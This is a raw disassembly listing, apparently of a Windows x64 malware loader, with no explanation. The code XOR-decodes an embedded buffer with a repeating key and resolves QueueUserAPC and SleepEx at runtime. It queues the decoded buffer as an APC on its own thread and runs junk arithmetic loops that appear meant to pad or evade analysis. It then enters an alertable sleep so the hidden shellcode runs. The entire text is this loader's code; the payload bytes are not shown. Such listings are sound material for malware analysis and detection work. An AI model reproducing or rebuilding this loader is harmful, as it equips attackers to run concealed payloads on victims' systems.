mov edx, dword [rbp + 0x83c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x658]
lea r8, [rcx + rdx]
movsxd rdx, eax
imul rdx, rdx, 0x1b4e81b5
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x12c
sub eax, ecx
mov edx, eax
mov dword [r8], edx
mov eax, dword [rbp + 0x838]
cdqe
lea rdx, [rax*4]
mov rax, qword [rbp + 0x658]
add rax, rdx
mov edx, dword [rbp + 0x83c]
movsxd rdx, edx
lea rcx, [rdx*4]
mov rdx, qword [rbp + 0x650]
add rdx, rcx
mov eax, dword [rax]
mov dword [rdx], eax
sub dword [rbp + 0x838], 1
add dword [rbp + 0x83c], 1
cmp dword [rbp + 0x83c], 0x149
jle 0x140002970
mov rax, qword [rbp + 0x658]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x650]
mov rcx, rax
call sub.msvcrt.dll_free
add dword [rbp + 0x84c], 1
add dword [rbp + 0x850], 1
mov eax, dword [rbp + 0x850]
cmp eax, 0x76
jbe 0x1400028f2
mov dword [rbp + 0x850], 0
jmp 0x140002ae5
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
movzx r8d, byte [rax]
mov eax, dword [rbp + 0x848]
cdqe
movzx ecx, byte [rbp + rax + 0x30]
mov eax, dword [rbp + 0x850]
movsxd rdx, eax
mov rax, qword [rbp + 0x6a0]
add rax, rdx
mov edx, r8d
xor edx, ecx
mov byte [rax], dl
mov dword [rbp + 0x830], 0x104
mov dword [rbp + 0x834], 0x104
jmp 0x140002ab9
sub dword [rbp + 0x830], 1
sub dword [rbp + 0x834], 1
cmp dword [rbp + 0x834], 0xe
jg 0x140002aab
cmp dword [rbp + 0x848], 0x76
jne 0x140002ad7
mov dword [rbp + 0x848], 0
jmp 0x140002ade
add dword [rbp + 0x848], 1
add dword [rbp + 0x850], 1
cmp dword [rbp + 0x850], 0x4c0
jle 0x140002a57
mov rax, qword [rbp + 0x6a0]
mov qword [rbp + 0x678], rax
mov rax, qword [rbp + 0x810]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x670], rax
mov rax, qword [rbp + 0x810]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x668], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x678]
mov r9, qword [rbp + 0x670]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp + 0x824], 0
mov ecx, 0xea0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x660], rax
mov dword [rbp + 0x82c], 0
jmp 0x140002c0a
mov dword [rbp + 0x828], 0
jmp 0x140002bfa
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x1b864a3
shr rdx, 0x20
sar edx, 4
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x94d
sub eax, ecx
mov edx, eax
mov eax, dword [rbp + 0x82c]
cdqe
imul rcx, rax, 0x9c
mov rax, qword [rbp + 0x660]
add rcx, rax
pxor xmm0, xmm0
cvtsi2ss xmm0, edx
mov eax, dword [rbp + 0x828]
cdqe
movss dword [rcx + rax*4], xmm0
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x26
jle 0x140002b9e
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x17
jle 0x140002b92
mov dword [rbp + 0x82c], 0
jmp 0x140002c86
mov dword [rbp + 0x828], 0
jmp 0x140002c76
pxor xmm1, xmm1
cvtsi2ss xmm1, dword [rbp + 0x824]
mov eax, dword [rbp + 0x82c]
cdqe
imul rdx, rax, 0x9c
mov rax, qword [rbp + 0x660]
add rdx, rax
mov eax, dword [rbp + 0x828]
cdqe
movss xmm0, dword [rdx + rax*4]
addss xmm0, xmm1
cvttss2si eax, xmm0
mov dword [rbp + 0x824], eax
add dword [rbp + 0x828], 1
cmp dword [rbp + 0x828], 0x26
jle 0x140002c2f
add dword [rbp + 0x82c], 1
cmp dword [rbp + 0x82c], 0x17
jle 0x140002c23
mov rax, qword [rbp + 0x660]
mov rcx, rax
call sub.msvcrt.dll_free
mov rax, qword [rbp + 0x668]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
add rsp, 0x928
pop rbx
pop rsi
pop rdi
pop rbp
ret